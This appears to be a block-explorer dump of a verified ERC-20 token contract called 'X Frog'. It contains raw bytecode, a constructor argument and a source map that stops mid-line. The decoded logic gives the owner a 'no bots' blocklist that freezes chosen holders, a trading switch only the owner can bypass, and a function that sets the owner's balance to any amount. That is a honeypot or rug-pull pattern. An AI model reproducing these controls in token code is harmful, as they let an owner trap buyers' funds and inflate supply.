02082019050611b8860008301846119b4565b92915050565b6000602082019050611ba360008301846119c3565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611bd082611cbe565b9150611bdb83611cbe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c1057611c0f611d08565b5b828201905092915050565b6000611c2682611cbe565b9150611c3183611cbe565b925082611c4157611c40611d37565b5b828204905092915050565b6000611c5782611cbe565b9150611c6283611cbe565b925082821015611c7557611c74611d08565b5b828203905092915050565b6000611c8b82611c9e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611cf3578082015181840152602081019050611cd8565b83811115611d02576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611f8e81611c80565b8114611f9957600080fd5b50565b611fa581611cbe565b8114611fb057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019f64db43476014da1b6a36a80ecd88f9ff6b5a16870a7c74a2eacc8a4d5cd4264736f6c634300080700330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode
0x6080604052600436106100f75760003560e01c806360004d5c1161008a578063993351e211610059578063993351e21461034b578063a457c2d714610388578063a9059cbb146103c5578063dd62ed3e14610402576100fe565b806360004d5c1461028f57806370a08231146102b85780638f84aa09146102f557806395d89b4114610320576100fe565b806323b872dd116100c657806323b872dd146101bf57806329bd5410146101fc578063313ce567146102275780633950935114610252576100fe565b806306fdde031461010357806307eaa6d41461012e578063095ea7b31461015757806318160ddd14610194576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b5061011861043f565b6040516101259190611a31565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906116e2565b61047c565b005b34801561016357600080fd5b5061017e600480360381019061017991906117a2565b6106a8565b60405161018b9190611a16565b60405180910390f35b3480156101a057600080fd5b506101a96106c6565b6040516101b69190611b73565b60405180910390f35b3480156101cb57600080fd5b506101e660048036038101906101e1919061174f565b6106d6565b6040516101f39190611a16565b60405180910390f35b34801561020857600080fd5b506102116107af565b60405161021e91906119d2565b60405180910390f35b34801561023357600080fd5b5061023c6107d5565b6040516102499190611b8e565b60405180910390f35b34801561025e57600080fd5b50610279600480360381019061027491906117a2565b6107de565b6040516102869190611a16565b60405180910390f35b34801561029b57600080fd5b506102b660048036038101906102b191906117e2565b610891565b005b3480156102c457600080fd5b506102df60048036038101906102da91906116e2565b610987565b6040516102ec9190611b73565b60405180910390f35b34801561030157600080fd5b5061030a6109d0565b60405161031791906119d2565b60405180910390f35b34801561032c57600080fd5b506103356109fa565b6040516103429190611a31565b60405180910390f35b34801561035757600080fd5b50610372600480360381019061036d91906116e2565b610a37565b60405161037f9190611a16565b60405180910390f35b34801561039457600080fd5b506103af60048036038101906103aa91906117a2565b610a8d565b6040516103bc9190611a16565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e791906117a2565b610b5a565b6040516103f99190611a16565b60405180910390f35b34801561040e57600080fd5b506104296004803603810190610424919061170f565b610b78565b6040516104369190611b73565b60405180910390f35b60606040518060400160405280600681526020017f582046726f670000000000000000000000000000000000000000000000000000815250905090565b610484610c49565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050890611ad3565b60405180910390fd5b60011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156105c7576000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506106a5565b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f0f479aece30177331a016b232605740f68807d0f7a9f798c20cc2c29ab2f354281600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660405161069c9291906119ed565b60405180910390a15b50565b60006106bc6106b5610c49565b8484610c51565b6001905092915050565b6000670de0b6b3a7640000905090565b60006106e3848484610e1c565b6107a4846106ef610c49565b61079f85604051806060016040528060288152602001611fda60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610755610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b610c51565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009905090565b60006108876107eb610c49565b8461088285600560006107fc610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b610c51565b6001905092915050565b610899610c49565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90611ad3565b60405180910390fd5b61093981836115e290919063ffffffff16565b6002600061094561162c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f7846524f47000000000000000000000000000000000000000000000000000000815250905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b50610a9a610c49565b84610b4b856040518060600160405280602581526020016120026025913960056000610ac4610c49565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b610c51565b6001905092915050565b6000610b6e610b67610c49565b8484610e1c565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000610c4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611655565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb890611b53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611a93565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e0f9190611b73565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390611b13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef390611a53565b60405180910390fd5b60008111610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3690611af3565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610fe05750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110295760008114611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f90611a73565b60405180910390fd5b5b60001515600b60009054906101000a900460ff161515148061107d575061104e61162c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806110ba575061108b61162c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114c457600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156111625750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611315576111d381604051806060016040528060268152602001611fb460269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113089190611b73565b60405180910390a36114bf565b61138181604051806060016040528060268152602001611fb460269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158490919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114b69190611b73565b60405180910390a35b61151b565b60001515600b60009054906101000a900460ff1615151461151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190611b33565b60405180910390fd5b5b505050565b6000838311158290611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f9190611a31565b60405180910390fd5b50600083856115779190611c4c565b9050809150509392505050565b60008082846115939190611bc5565b9050838110156115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90611ab3565b60405180910390fd5b8091505092915050565b600061162483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829061169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116939190611a31565b60405180910390fd5b50600083856116ab9190611c1b565b9050809150509392505050565b6000813590506116c781611f85565b92915050565b6000813590506116dc81611f9c565b92915050565b6000602082840312156116f8576116f7611d66565b5b6000611706848285016116b8565b91505092915050565b6000806040838503121561172657611725611d66565b5b6000611734858286016116b8565b9250506020611745858286016116b8565b9150509250929050565b60008060006060848603121561176857611767611d66565b5b6000611776868287016116b8565b9350506020611787868287016116b8565b9250506040611798868287016116cd565b9150509250925092565b600080604083850312156117b9576117b8611d66565b5b60006117c7858286016116b8565b92505060206117d8858286016116cd565b9150509250929050565b600080604083850312156117f9576117f8611d66565b5b6000611807858286016116cd565b9250506020611818858286016116cd565b9150509250929050565b61182b81611c80565b82525050565b61183a81611c92565b82525050565b600061184b82611ba9565b6118558185611bb4565b9350611865818560208601611cd5565b61186e81611d6b565b840191505092915050565b6000611886602383611bb4565b915061189182611d7c565b604082019050919050565b60006118a9600783611bb4565b91506118b482611dcb565b602082019050919050565b60006118cc602283611bb4565b91506118d782611df4565b604082019050919050565b60006118ef601b83611bb4565b91506118fa82611e43565b602082019050919050565b6000611912602083611bb4565b915061191d82611e6c565b602082019050919050565b6000611935602983611bb4565b915061194082611e95565b604082019050919050565b6000611958602583611bb4565b915061196382611ee4565b604082019050919050565b600061197b600083611bb4565b915061198682611f33565b600082019050919050565b600061199e602483611bb4565b91506119a982611f36565b604082019050919050565b6119bd81611cbe565b82525050565b6119cc81611cc8565b82525050565b60006020820190506119e76000830184611822565b92915050565b6000604082019050611a026000830185611822565b611a0f6020830184611831565b9392505050565b6000602082019050611a2b6000830184611831565b92915050565b60006020820190508181036000830152611a4b8184611840565b905092915050565b60006020820190508181036000830152611a6c81611879565b9050919050565b60006020820190508181036000830152611a8c8161189c565b9050919050565b60006020820190508181036000830152611aac816118bf565b9050919050565b60006020820190508181036000830152611acc816118e2565b9050919050565b60006020820190508181036000830152611aec81611905565b9050919050565b60006020820190508181036000830152611b0c81611928565b9050919050565b60006020820190508181036000830152611b2c8161194b565b9050919050565b60006020820190508181036000830152611b4c8161196e565b9050919050565b60006020820190508181036000830152611b6c81611991565b9050919050565b6000602082019050611b8860008301846119b4565b92915050565b6000602082019050611ba360008301846119c3565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611bd082611cbe565b9150611bdb83611cbe565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c1057611c0f611d08565b5b828201905092915050565b6000611c2682611cbe565b9150611c3183611cbe565b925082611c4157611c40611d37565b5b828204905092915050565b6000611c5782611cbe565b9150611c6283611cbe565b925082821015611c7557611c74611d08565b5b828203905092915050565b6000611c8b82611c9e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611cf3578082015181840152602081019050611cd8565b83811115611d02576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f6e6f20626f747300000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611f8e81611c80565b8114611f9957600080fd5b50565b611fa581611cbe565b8114611fb057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122019f64db43476014da1b6a36a80ecd88f9ff6b5a16870a7c74a2eacc8a4d5cd4264736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
-----Decoded View---------------
Arg [0] : V2factory (address): 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode Sourcemap
3496:9133:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5241:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6073:324;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6543:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5518:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6712:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4458:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5427:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7037:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7814:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5621:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2631:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5332:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6405:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7263:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5746:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5921:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:83;5278:13;5311:5;;;;;;;;;;;;;;;;;5304:12;;5241:83;:::o;6073:324::-;2550:12;:10;:12::i;:::-;2540:22;;:6;;;;;;;;;;:22;;;2532:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6187:4:::1;6152:39;;:19;:31;6172:10;6152:31;;;;;;;;;;;;;;;;;;;;;;;;;:39;;;6148:242;;;6242:5;6208:19;:31;6228:10;6208:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;6148:242;;;6300:4;6266:19;:31;6286:10;6266:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;6324:52;6332:10;6344:19;:31;6364:10;6344:31;;;;;;;;;;;;;;;;;;;;;;;;;6324:52;;;;;;;:::i;:::-;;;;;;;;6148:242;6073:324:::0;:::o;6543:161::-;6618:4;6635:39;6644:12;:10;:12::i;:::-;6658:7;6667:6;6635:8;:39::i;:::-;6692:4;6685:11;;6543:161;;;;:::o;5518:95::-;5571:7;3758:18;5591:14;;5518:95;:::o;6712:313::-;6810:4;6827:36;6837:6;6845:9;6856:6;6827:9;:36::i;:::-;6874:121;6883:6;6891:12;:10;:12::i;:::-;6905:89;6943:6;6905:89;;;;;;;;;;;;;;;;;:11;:19;6917:6;6905:19;;;;;;;;;;;;;;;:33;6925:12;:10;:12::i;:::-;6905:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6874:8;:121::i;:::-;7013:4;7006:11;;6712:313;;;;;:::o;4458:27::-;;;;;;;;;;;;;:::o;5427:83::-;5468:5;3715:1;5486:16;;5427:83;:::o;7037:218::-;7125:4;7142:83;7151:12;:10;:12::i;:::-;7165:7;7174:50;7213:10;7174:11;:25;7186:12;:10;:12::i;:::-;7174:25;;;;;;;;;;;;;;;:34;7200:7;7174:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7142:8;:83::i;:::-;7243:4;7236:11;;7037:218;;;;:::o;7814:140::-;2550:12;:10;:12::i;:::-;2540:22;;:6;;;;;;;;;;:22;;;2532:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7923:23:::1;7936:9;7923:8;:12;;:23;;;;:::i;:::-;7904:7;:16;7912:7;:5;:7::i;:::-;7904:16;;;;;;;;;;;;;;;:42;;;;7814:140:::0;;:::o;5621:117::-;5687:7;5714;:16;5722:7;5714:16;;;;;;;;;;;;;;;;5707:23;;5621:117;;;:::o;2631:92::-;2676:7;2703:12;;;;;;;;;;;2696:19;;2631:92;:::o;5332:87::-;5371:13;5404:7;;;;;;;;;;;;;;;;;5397:14;;5332:87;:::o;6405:128::-;6470:4;6494:19;:31;6514:10;6494:31;;;;;;;;;;;;;;;;;;;;;;;;;6487:38;;6405:128;;;:::o;7263:269::-;7356:4;7373:129;7382:12;:10;:12::i;:::-;7396:7;7405:96;7444:15;7405:96;;;;;;;;;;;;;;;;;:11;:25;7417:12;:10;:12::i;:::-;7405:25;;;;;;;;;;;;;;;:34;7431:7;7405:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7373:8;:129::i;:::-;7520:4;7513:11;;7263:269;;;;:::o;5746:167::-;5824:4;5841:42;5851:12;:10;:12::i;:::-;5865:9;5876:6;5841:9;:42::i;:::-;5901:4;5894:11;;5746:167;;;;:::o;5921:143::-;6002:7;6029:11;:18;6041:5;6029:18;;;;;;;;;;;;;;;:27;6048:7;6029:27;;;;;;;;;;;;;;;;6022:34;;5921:143;;;;:::o;1691:132::-;1749:7;1776:39;1780:1;1783;1776:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1769:46;;1691:132;;;;:::o;102:98::-;155:7;182:10;175:17;;102:98;:::o;7962:335::-;8072:1;8055:19;;:5;:19;;;;8047:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8153:1;8134:21;;:7;:21;;;;8126:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8235:6;8205:11;:18;8217:5;8205:18;;;;;;;;;;;;;;;:27;8224:7;8205:27;;;;;;;;;;;;;;;:36;;;;8273:7;8257:32;;8266:5;8257:32;;;8282:6;8257:32;;;;;;:::i;:::-;;;;;;;;7962:335;;;:::o;8305:1079::-;8420:1;8402:20;;:6;:20;;;;8394:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8504:1;8483:23;;:9;:23;;;;8475:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8574:1;8565:6;:10;8557:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8636:19;:27;8656:6;8636:27;;;;;;;;;;;;;;;;;;;;;;;;;:61;;;;8667:19;:30;8687:9;8667:30;;;;;;;;;;;;;;;;;;;;;;;;;8636:61;8632:99;;;8718:1;8708:6;:11;8699:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;8632:99;8759:5;8746:18;;:9;;;;;;;;;;;:18;;;:39;;;;8778:7;:5;:7::i;:::-;8768:17;;:6;:17;;;8746:39;:63;;;;8802:7;:5;:7::i;:::-;8789:20;;:9;:20;;;8746:63;8742:635;;;8826:18;:26;8845:6;8826:26;;;;;;;;;;;;;;;;;;;;;;;;;:60;;;;;8857:18;:29;8876:9;8857:29;;;;;;;;;;;;;;;;;;;;;;;;;8856:30;8826:60;8822:503;;;8917:69;8937:6;8917:69;;;;;;;;;;;;;;;;;:7;:15;8925:6;8917:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;8899:7;:15;8907:6;8899:15;;;;;;;;;;;;;;;:87;;;;9018:30;9041:6;9018:7;:18;9026:9;9018:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;8997:7;:18;9005:9;8997:18;;;;;;;;;;;;;;;:51;;;;9081:9;9064:35;;9073:6;9064:35;;;9092:6;9064:35;;;;;;:::i;:::-;;;;;;;;8822:503;;;9141:69;9161:6;9141:69;;;;;;;;;;;;;;;;;:7;:15;9149:6;9141:15;;;;;;;;;;;;;;;;:19;;:69;;;;;:::i;:::-;9123:7;:15;9131:6;9123:15;;;;;;;;;;;;;;;:87;;;;9242:30;9265:6;9242:7;:18;9250:9;9242:18;;;;;;;;;;;;;;;;:22;;:30;;;;:::i;:::-;9221:7;:18;9229:9;9221:18;;;;;;;;;;;;;;;:51;;;;9305:9;9288:35;;9297:6;9288:35;;;9316:6;9288:35;;;;;;:::i;:::-;;;;;;;;8822:503;8742:635;;;9365:5;9352:18;;:9;;;;;;;;;;;:18;;;9343:32;;;;;;;;;;;;:::i;:::-;;;;;;;;;8742:635;8305:1079;;;:::o;1239:190::-;1325:7;1358:1;1353;:6;;1361:12;1345:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1385:9;1401:1;1397;:5;;;;:::i;:::-;1385:17;;1420:1;1413:8;;;1239:190;;;;;:::o;908:179::-;966:7;986:9;1002:1;998;:5;;;;:::i;:::-;986:17;;1027:1;1022;:6;;1014:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1078:1;1071:8;;;908:179;;;;:::o;1095:136::-;1153:7;1180:43;1184:1;1187;1180:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1173:50;;1095:136;;;;:::o;2407:81::-;2447:7;2474:6;;;;;;;;;;;2467:13;;2407:81;:::o;1831:189::-;1917:7;1949:1;1945;:5;1952:12;1937:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1976:9;1992:1;1988;:5;;;;:::i;:::-;1976:17;;2011:1;2004:8;;;1831:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:::-;2285:6;2293;2342:2;2330:9;2321:7;2317:23;2313:32;2310:119;;;2348:79;;:::i;:::-;2310:119;2468:1;2493:53;2538:7;2529:6;2518:9;2514:22;2493:53;:::i;:::-;2483:63;;2439:117;2595:2;2621:53;2666:7;2657:6;2646:9;2642:22;2621:53;:::i;:::-;2611:63;;2566:118;2217:474;;;;;:::o;2697:118::-;2784:24;2802:5;2784:24;:::i;:::-;2779:3;2772:37;2697:118;;:::o;2821:109::-;2902:21;2917:5;2902:21;:::i;:::-;2897:3;2890:34;2821:109;;:::o;2936:364::-;3024:3;3052:39;3085:5;3052:39;:::i;:::-;3107:71;3171:6;3166:3;3107:71;:::i;:::-;3100:78;;3187:52;3232:6;3227:3;3220:4;3213:5;3209:16;3187:52;:::i;:::-;3264:29;3286:6;3264:29;:::i;:::-;3259:3;3255:39;3248:46;;3028:272;2936:364;;;;:::o;3306:366::-;3448:3;3469:67;3533:2;3528:3;3469:67;:::i;:::-;3462:74;;3545:93;3634:3;3545:93;:::i;:::-;3663:2;3658:3;3654:12;3647:19;;3306:366;;;:::o;3678:365::-;3820:3;3841:66;3905:1;3900:3;3841:66;:::i;:::-;3834:73;;3916:93;4005:3;3916: